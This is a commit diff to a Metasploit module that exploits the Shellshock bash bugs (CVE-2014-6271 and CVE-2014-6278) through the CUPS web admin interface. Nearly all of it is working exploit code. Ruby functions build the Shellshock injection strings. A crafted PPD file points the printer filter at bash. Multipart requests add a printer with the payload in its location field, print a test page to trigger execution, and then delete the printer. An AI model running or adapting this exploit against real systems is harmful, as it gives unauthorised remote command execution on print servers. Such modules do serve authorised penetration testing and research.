Add check() and support CVE-2014-6278

bug/bundler_fix
Brendan Coles 2014-10-26 18:11:36 +00:00
parent 0ede70e7f6
commit 554935e60b
1 changed files with 150 additions and 92 deletions

View File

@ -6,7 +6,7 @@
require 'msf/core' require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
def initialize(info = {}) def initialize(info = {})
@ -19,10 +19,12 @@ class Metasploit4 < Msf::Exploit::Remote
}, },
'Author' => [ 'Author' => [
'Stephane Chazelas', # Vulnerability discovery 'Stephane Chazelas', # Vulnerability discovery
'lcamtuf', # CVE-2014-6278
'Brendan Coles <bcoles[at]gmail.com>' # msf 'Brendan Coles <bcoles[at]gmail.com>' # msf
], ],
'References' => [ 'References' => [
['CVE', '2014-6271'], ['CVE', '2014-6271'],
['CVE', '2014-6278'],
['EDB', '34765'], ['EDB', '34765'],
['URL', 'https://access.redhat.com/articles/1200223'], ['URL', 'https://access.redhat.com/articles/1200223'],
['URL', 'http://seclists.org/oss-sec/2014/q3/649'] ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
@ -32,38 +34,68 @@ class Metasploit4 < Msf::Exploit::Remote
'Platform' => 'unix', 'Platform' => 'unix',
'Payload' => 'Payload' =>
{ {
'Space' => 1024, 'Space' => 1024,
'BadChars' => "\x00\x0A\x0D\x22", 'BadChars' => "\x00\x0A\x0D",
'DisableNops' => true, 'DisableNops' => true
}, },
'Compat' => 'Compat' =>
{ {
'PayloadType' => 'cmd', 'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash netcat perl', 'RequiredCmd' => 'generic bash awk ruby'
}, },
# Tested on CUPS 1.4.3 # Tested on CUPS 1.4.3 and 1.5.3
'Targets' => 'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],
[
[
'Automatic Targeting', { 'auto' => true }
],
],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014', 'DisclosureDate' => 'Sep 24 2014',
'License' => MSF_LICENSE 'License' => MSF_LICENSE
)) ))
register_options([ register_options([
Opt::RPORT(631), Opt::RPORT(631),
OptString.new('USERNAME', [ true, 'CUPS username', '']), OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptString.new('PASSWORD', [ true, 'CUPS password', '']) OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
], self.class) ], self.class)
end end
# #
# Check # CVE-2014-6271
#
def cve_2014_6271(cmd)
%{() { :;}; $(#{cmd}) & }
end
#
# CVE-2014-6278
#
def cve_2014_6278(cmd)
%{() { _; } >_[$($())] { $(#{cmd}) & }}
end
#
# Check credentials
# #
def check def check
Exploit::CheckCode::Unknown @cookie = rand_text_alphanumeric(16)
printer_name = rand_text_alphanumeric(10 + rand(5))
res = add_printer(printer_name, '')
if !res
vprint_error("#{peer} - No response from host")
return Exploit::CheckCode::Unknown
elsif res.body =~ /Set Default Options for #{printer_name}/
vprint_good("#{peer} - Added printer successfully")
delete_printer(printer_name)
return Exploit::CheckCode::Detected
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
vprint_error("#{peer} - Authentication failed")
return Exploit::CheckCode::Detected
elsif res.code == 426
vprint_error("#{peer} - SSL required - set SSL true")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end end
# #
@ -71,49 +103,69 @@ class Metasploit4 < Msf::Exploit::Remote
# #
def exploit def exploit
@cookie = rand_text_alphanumeric(16) @cookie = rand_text_alphanumeric(16)
printer_name = rand_text_alphanumeric(10) printer_name = rand_text_alphanumeric(10 + rand(5))
# Create a printer with a CUPS filter pointing to /bin/bash # Select target CVE
res = create_printer(printer_name) case datastore['CVE']
when 'CVE-2014-6278'
cmd = cve_2014_6278(payload.raw)
else
cmd = cve_2014_6271(payload.raw)
end
# Add a printer containing the payload
# with a CUPS filter pointing to /bin/bash
res = add_printer(printer_name, cmd)
if !res if !res
print_error("#{peer} - Request failed") fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
return
elsif res.code == 426
print_error("#{peer} - Authentication failed")
return
elsif res.body =~ /Set Default Options for #{printer_name}/ elsif res.body =~ /Set Default Options for #{printer_name}/
print_good("#{peer} - Created printer successfully") print_good("#{peer} - Added printer successfully")
elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
elsif res.code == 426
fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
else
fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
end end
# Request a printer test page. # Add a test page to the print queue.
# The print job triggers execution of the bash filter # The print job triggers execution of the bash filter
# which executes the payload in the env vars. # which executes the payload in the environment variables.
res = print_test_page(printer_name) res = print_test_page(printer_name)
if !res || res.code != 200 if !res
print_error("#{peer} - Request failed") fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
return elsif res.body =~ /Test page sent; job ID is/
end vprint_good("#{peer} - Added test page to printer queue")
if res.body =~ /Test page sent; job ID is/ elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
print_status "#{peer} - Test page sent successfully" fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
elsif res.code == 426
fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
else
fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
end end
# Delete the printer # Delete the printer
res = delete_printer(printer_name) res = delete_printer(printer_name)
if !res || res.code != 200 if !res
print_error("#{peer} - Request failed") fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
return elsif res.body =~ /has been deleted successfully/
end print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
if res.body =~ /has been deleted successfully/ elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
print_status "#{peer} - Deleted printer '#{printer_name}' successfully" vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
elsif res.code == 426
vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
else
vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
end end
end end
# #
# Create a printer # Add a printer to CUPS
# #
def create_printer printer_name def add_printer(printer_name, cmd)
print_status "#{peer} - Creating printer '#{printer_name}'" vprint_status("#{peer} - Adding new printer '#{printer_name}'")
ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
ppd_file = <<-EOF ppd_file = <<-EOF
*PPD-Adobe: "4.3" *PPD-Adobe: "4.3"
*%==== General Information Keywords ======================== *%==== General Information Keywords ========================
@ -121,89 +173,95 @@ class Metasploit4 < Msf::Exploit::Remote
*FileVersion: "1.00" *FileVersion: "1.00"
*LanguageVersion: English *LanguageVersion: English
*LanguageEncoding: ISOLatin1 *LanguageEncoding: ISOLatin1
*PCFileName: "MFC3820CN.PPD" *PCFileName: "#{ppd_name}"
*Manufacturer: "Brother" *Manufacturer: "Brother"
*Product: "(Brother MFC-3820CN)" *Product: "(Brother MFC-3820CN)"
*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN" *1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
*cupsVersion: 1.1 *cupsVersion: 1.1
*cupsManualCopies: False *cupsManualCopies: False
*cupsFilter: "application/vnd.cups-postscript 0 ../../../../../../../../../../bin/bash" *cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"
*cupsModelNumber: 5 *cupsModelNumber: #{rand(10) + 1}
*ModelName: "Brother MFC-3820CN" *ModelName: "Brother MFC-3820CN"
*ShortNickName: "Brother MFC-3820CN" *ShortNickName: "Brother MFC-3820CN"
*NickName: "Brother MFC-3820CN CUPS v1.1" *NickName: "Brother MFC-3820CN CUPS v1.1"
*PSVersion: "(3010.106) 3"
*% *%
*%==== Basic Device Capabilities =============
*LanguageLevel: "3"
*ColorDevice: True
*DefaultColorSpace: RGB
*FileSystem: False
*Throughput: "12"
*LandscapeOrientation: Plus90
*VariablePaperSize: False
*TTRasterizer: Type42
*FreeVM: "1700000"
*DefaultOutputOrder: Reverse
*%==== Media Selection ======================
*OpenUI *PageSize/Media Size: PickOne
*OrderDependency: 18 AnySetup *PageSize
*DefaultPageSize: BrLetter
*PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"
*PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"
EOF EOF
shock = "() { :;}; /bin/bash -c \"#{payload.raw} &\""
pd = Rex::MIME::Message.new pd = Rex::MIME::Message.new
pd.add_part(ppd_file, "application/octet-stream", nil, "form-data; name=\"PPD_FILE\"; filename=\"#{rand_text_alphanumeric(10)}.ppd\"") pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
pd.add_part("#{@cookie}", nil, nil, "form-data; name=\"org.cups.sid\"") pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
pd.add_part("add-printer", nil, nil, "form-data; name=\"OP\"") pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"printer_name\"") pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"PRINTER_NAME\"") pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
pd.add_part("", nil, nil, "form-data; name=\"PRINTER_INFO\"") # injectable pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
pd.add_part("#{shock}", nil, nil, "form-data; name=\"PRINTER_LOCATION\"") # injectable pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))
pd.add_part("file:///dev/null", nil, nil, "form-data; name=\"DEVICE_URI\"")
pd.add_part('', nil, nil, "form-data; name=\"PRINTER_IS_SHARED\"")
pd.add_part('262144', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # default value
data = pd.to_s data = pd.to_s
data.strip! data.strip!
res = send_request_cgi({ send_request_cgi(
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin'), 'uri' => normalize_uri(target_uri.path, 'admin'),
'ctype' => "multipart/form-data; boundary=#{pd.bound}", 'ctype' => "multipart/form-data; boundary=#{pd.bound}",
'data' => data, 'data' => data,
'cookie' => "org.cups.sid=#{@cookie};", 'cookie' => "org.cups.sid=#{@cookie};",
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
}) )
return res
end end
# #
# Print a test page # Queue a printer test page
# #
def print_test_page printer_name def print_test_page(printer_name)
print_status "#{peer} - Requesting printer test page" vprint_status("#{peer} - Adding test page to printer queue")
res = send_request_cgi( send_request_cgi(
{ 'method' => 'POST',
'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
'uri' => normalize_uri(target_uri.path,'printers',printer_name), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']), 'cookie' => "org.cups.sid=#{@cookie}",
'cookie' => "org.cups.sid=#{@cookie}", 'vars_post' => {
'vars_post' => { 'org.cups.sid' => @cookie,
'org.cups.sid' => @cookie, 'OP' => 'print-test-page'
'OP' => 'print-test-page'
}
} }
) )
return res
end end
# #
# Delete a printer # Delete a printer
# #
def delete_printer printer_name def delete_printer(printer_name)
res = send_request_cgi( vprint_status("#{peer} - Deleting printer '#{printer_name}'")
{ send_request_cgi(
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'admin'), 'uri' => normalize_uri(target_uri.path, 'admin'),
'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'cookie' => "org.cups.sid=#{@cookie}", 'cookie' => "org.cups.sid=#{@cookie}",
'vars_post' => { 'vars_post' => {
'org.cups.sid' => @cookie, 'org.cups.sid' => @cookie,
'OP' => 'delete-printer', 'OP' => 'delete-printer',
'printer_name' => printer_name, 'printer_name' => printer_name,
'confirm' => 'Delete Printer' 'confirm' => 'Delete Printer'
}
} }
) )
return res
end end
end end